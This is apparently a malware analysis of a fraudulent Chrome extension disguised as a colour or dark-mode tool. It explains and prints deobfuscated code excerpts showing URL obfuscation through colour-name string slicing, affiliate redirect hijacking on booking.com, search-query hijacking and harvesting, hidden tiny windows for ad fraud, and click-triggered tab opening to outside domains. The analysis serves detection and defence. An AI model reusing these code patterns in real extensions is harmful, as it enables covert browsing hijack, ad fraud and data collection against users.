put darker

The `color` function is a deceptive string-slicing wrapper: it accepts a string and two indices and returns `color.slice(width, height)`, but this simple two-line return is buried inside ~130 lines of non-executing dead code (copied CSS manipulation logic). Its sole purpose is to extract substrings for URL assembly while appearing to be a color-processing utility, evading naive static analysis that looks for `slice` calls.

color = (color, width, height) => {  function colorelements() {    if (isCOlor) {      var _finish = (0, _modify.findAndReplaceColor)(isCOlor, _modify.modifyBgHSL);      // ... [~130 lines of dead CSS-manipulation padding] ...    }  }  // ... [~130 more lines of dead code] ...  return color.slice(width, height);};

Malicious URLs are assembled character-by-character from color-name string literals using the deceptive `color()` slice function. Decoded: `ty` = "https://kmmx49.com/css"; `colorred` = "https://kmmx49.com/booking" (affiliate redirect target); `up` = "https://kmmx49.com/co?q=" (search redirect); `colorcon` = "booking.com" (detection trigger). Using innocuous color names like "Bright green", "maroon", and "pink" as carriers for URL fragments is a deliberate evasion technique against string-literal URL scanners.

var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");var colorrgb = color("yellow/", "6", "7") + color("pink", "3", "4") + color("maroon", "0", "1");var colorrgbh = color("maroon", "0", "1") + color("colorx", "5", "6") + color("49", "0", "2");var colorhexa = color("cho.colate", "3", "6") + color("maroon", "0", "1") + color("/css", "0", "4");// ...var ty = colr(); // assembles: "https://kmmx49.com/css"var colorbo = color("blue", "0", "1") + color("maroon", "3", "5") + color("pink", "3", "4") + color("spring green", "3", "6"); // = "booking"var colorred = color(ty, 0, 19) + colorbo; // = "https://kmmx49.com/booking"var up = color(ty, 0, 19) + color("redco?q=", 3, 8); // = "https://kmmx49.com/co?q="var colorcon = color(colorred, "19", "26") + color(ty, "14", "18"); // = "booking.com"

`colorcon` decodes to "booking.com". Whenever a tab navigates to any URL containing "booking.com", this function checks a stored cooldown timestamp (`colorcp`); if the cooldown has expired (every 21,600 seconds = 6 hours), it resets the timer and redirects the current tab to `colorred` = "https://kmmx49.com/booking" — a third-party affiliate link. This is classic affiliate link-hijacking fraud: the attacker earns a commission for any booking the user makes after the redirect.

function colorcheck(e, u, s) {  if (s.url.includes(colorcon)) {    chrome.storage.local.get(["colorcp"], function(colorst) {      if (colorst.colorcp < Math.round(Date.now() / 1000)) {        coloronc(21600);        colo(colorred)      }    })  }}

This function intercepts every tab navigation and performs search result hijacking: if the URL contains competitor affiliate identifiers ("q=yhs-002", "q=yhs-active8"), the tab is redirected to the attacker's search URL at `up + errors` = "https://kmmx49.com/co?q=<search_term>". Tabs matching 8 other competitor affiliate patterns ("rectre", "imageadvan", "pid=default2017", etc.) are silently closed after 200ms. This reroutes organic or competitor-attributed searches through the attacker's affiliate tracking.

function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)),    colorid("tillshe") && cls(t.id),    (colorid("q=yhs-002") || colorid("q=yhs-active8")) && colo(up + errors),    (colorid("rectre") || colorid("imageadvan") || colorid("pid=default2017") ||      colorid("hspart=dcola") || colorid("antgreen") || colorid("hspart=Lkry") ||      colorid("&ptag") || colorid("&conlogo") || colorid("&FORM")) &&    (mp = !0, setTimeout(function() {      cls(t.id), mp = !1    }, 200)),    lear()}

`colora()` assembles a second malicious domain URL: "https://sendus1.com/p". Every user click on any webpage triggers a background message (from the content script's `document.addEventListener('click', ...)`), which fires `colorum()`. If 1,800 seconds (30 minutes) have passed since the last trigger, the extension silently opens a new tab to "https://sendus1.com/p". This is covert ad-fraud or forced traffic generation that fires periodically on user activity.

var colorft = colra(); // decodes to: "https://sendus1.com/p"// ...function colorum() {  chrome.storage.local.get(["colorui"], function(c) {    if (c.colorui < Math.round(Date.now() / 1000)) {      colorut(1800);      colort(colorft)    }  })}// ...chrome.runtime.onMessage.addListener(function(e, n, o) {  "dark" === e.darkcolor && colorum()});

A 100×100 pixel browser window is opened to "https://sendus1.com/v" and immediately unfocused (set to `focused: false`), creating an essentially invisible background window for ad impression fraud or tracking. The window is deliberately kept tiny and unfocused to hide it from users. This is triggered by `colordarkw()` (called from `colorptp()` on every tab load) when a stored timestamp condition is met.

var colorf = color(colra(), "0", "20") + "v"; // decodes to: "https://sendus1.com/v"// ...function colordarkfill(colorf) {  chrome.windows.create({    width: 100,    height: 100,    url: colorf,    type: "normal"  }, function() {    chrome.windows.getCurrent(function(colr) {      chrome.windows.update(colr.id, {        focused: false      });      colortc("colorno")    })  })}

On first install, the extension identifies the current window type ("ur" from "Dark purple".slice(5,7)), removes it, and 1.5 seconds later opens a new tab to `ty` = "https://kmmx49.com/css". Initialization calls reset all cooldown timers (`coloronc(0)`, `colorftm(120)`, `colorut(1800)`) and set a persistent flag (`colortc("colorye")`). The URL navigation to an external domain immediately on install — combined with the cooldown resets — establishes the malware's tracking/reporting baseline.

chrome.runtime.onInstalled.addListener(function(e) {  "install" === e.reason && chrome.windows.getAll({    populate: !0  }, function(e) {    var t;    for (i = 0; i <= e.length - 1; i++)      e[i].type.includes(color("Dark purple", 5, 7)) &&      (t = i, colores(),        setTimeout(function() {          coloronc(0);          colortc("colorye");          colorftm(120);          colorut(1800);          chrome.windows.remove(e[t].id, function() {})        }, 1e3),        setTimeout(function() {          colort(ty)        }, 1500))  })});

These utility functions form the core tab-manipulation primitives used throughout the malware: `colo()` hijacks the current tab to a new URL, `colort()` silently opens a new tab, `cls()` removes a tab. The `lear()` function scans all tabs in the current window and closes any duplicate tab whose URL contains the attacker's domain fragment (decoded from `ty`). Together they enable silent redirect hijacking, ad-fraud tab creation, and cleanup of duplicate attacker-owned tabs to avoid detection.

function colo(e) {  chrome.tabs.update({    url: e  })}function colort(e) {  chrome.tabs.create({    url: e  })}// ...function cls(c) {  chrome.tabs.remove(c)}function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++)      n[r].url.indexOf(n[n.length - 1].url) > -1 &&      n[r].url.indexOf(color(ty, 8, 14)) > -1 &&      n[n.length - 1].url.indexOf(color(ty, 8, 14)) > -1 &&      cls(n[r].id)  })}

A click listener attached to every page on every website (`<all_urls>` content script) silently sends a message to the background on each user click. The background handler (`colorum`) uses this as a periodic trigger to open new tabs to "https://sendus1.com/p" once every 30 minutes. This converts legitimate user interaction on any webpage into a covert ad-traffic signal without any user awareness or consent.

document.addEventListener('click', function() {  chrome.runtime.sendMessage({    darkcolor: "dark"  })});

The extension harvests search query terms from tab URLs: the search query parameter value is captured into `errors` (if not a known competitor tag), and then assembled into `col = up + c` = "https://kmmx49.com/co?q=<search_term>". The variable `errors` is also used to build the redirect URL in `colorCo()`. Separately, `tu = s.url` captures the current tab's full URL into global state before routing. This constitutes covert collection of the user's browsing and search activity.

colorlist.includes(c) || void 0 === c || (  colorlist.push(c),  "yhs-002" != c && "yhs-active8" != c && (errors = c),  col = up + c,  // ... [dead-code padding] ...);// ...tu = s.url, style(exid) && !style("errors") && cls(e);